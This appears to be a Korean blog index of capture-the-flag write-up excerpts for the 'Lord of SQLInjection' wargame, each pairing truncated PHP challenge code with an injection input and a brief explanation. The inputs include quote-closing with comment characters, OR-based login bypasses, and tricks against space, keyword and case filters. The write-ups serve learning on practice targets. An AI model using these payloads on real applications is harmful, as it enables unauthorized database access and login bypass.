skeleton query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("skeleton"); highlight_file(__FILE__); ?> 뒤에 거짓인 식이 있기에 이를 주석처리 해주어야 한다.?pw=1' or id='admin'%23 wargame 🏴☠️ write-up/Lord of SQLInjection 2022.04.02
vampire query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("vampire"); highlight_file(__FILE__); ?> str_replace를 통해 admin문자를 없애고 있다.이런경우 우회법은 adadminmin과 같이 안에 admin을 한번 더 써주는 방법이 있다. adadminmin보라색 부분이 없어지면서, 결국 빨간 admin만 남게되는 원리다.?id=adadminmin wargame 🏴☠️ write-up/Lord of SQLInjection 2022.04.02
troll query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("troll"); highlight_file(__FILE__);?> admin을 필터링 하고있다.orc편에서 말했듯이 mysql에서 대부분의 문자자료형은 비교연산시 대소구분을 하지 않는다. 따라서 adMin과 같이 대문자를 섞어 보내주면, 풀릴것이다.?id=adMin wargame 🏴☠️ write-up/Lord of SQLInjection 2022.04.02
orge query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello {$result[id]}"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); highlight_file(__FILE__.. wargame 🏴☠️ write-up/Lord of SQLInjection 2022.04.02
darkelf query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("darkelf"); highlight_file(__FILE__); ?> or과 and를 추가로 필터링 한다.||, &&로 바꾸어 우회해보자. ?pw=1'||id='admin 결과는 성공..! wargame 🏴☠️ write-up/Lord of SQLInjection 2022.04.02
wolfman query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("wolfman"); highlight_file(__FILE__); ?> 코드를 보면, 공백을 필터링하는 것을 알 수 있다. 공백을 우회하는 방법은 (), /**/, %0a등 여러가지 방법이 있는데()가 필터링된 관계로, /**/을 사용하여 풀것이다. ?pw=1'or/**/id='admin 해결😎 wargame 🏴☠️ write-up/Lord of SQLInjection 2022.04.02
orc query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello admin"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?> 기존과 .. wargame 🏴☠️ write-up/Lord of SQLInjection 2022.04.02
goblin query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("goblin"); highlight_file(__FILE__); ?>no 값에 여러 숫자를 넣어봤더니 guest : 1 임이 확인됬다.no 값에 아무런 따옴표가 없으므로, 편하게 뒷 문장을 만들어갈 수 있다.*참고로 and로 묶인 조건이 거짓이 되어야 하니 1이 아닌 아무 숫자를 넣고 만들어가자 하지만 작은 따옴표를 필터링 하고있어, id='admin'과 같은 값은 보내지 못한다.그렇다면 더 간단한 방법. no를 .. wargame 🏴☠️ write-up/Lord of SQLInjection 2022.04.02
cobolt query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "Hello {$result['id']}You are not admin :("; highlight_file(__FILE__); ?> gremlin 문제처럼 주석을 이용하여 pw확인 부분을 무시할 수도 있겠지만낭만있게 괄호를 따라 닫아보자 pw 부분 괄호를 처리해주고, or id=admin으로 인증할 생각이다.?id=admin&pw=') or (id='admin 클리엉 wargame 🏴☠️ write-up/Lord of SQLInjection 2022.04.02
gremlin query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("gremlin"); highlight_file(__FILE__);?> preg_match를 보면 필터링 되고있는 문자들이 있다.query의 id부분 작은 따옴표를 닫고, 뒤의 and pw부분은 주석처리해보면 풀린다.sql의 주석은 여러가지 방법이 있는데#;%00-- -/* */상황에 맞는 방식을 택하면 된다. wargame 🏴☠️ write-up/Lord of SQLInjection 2022.04.02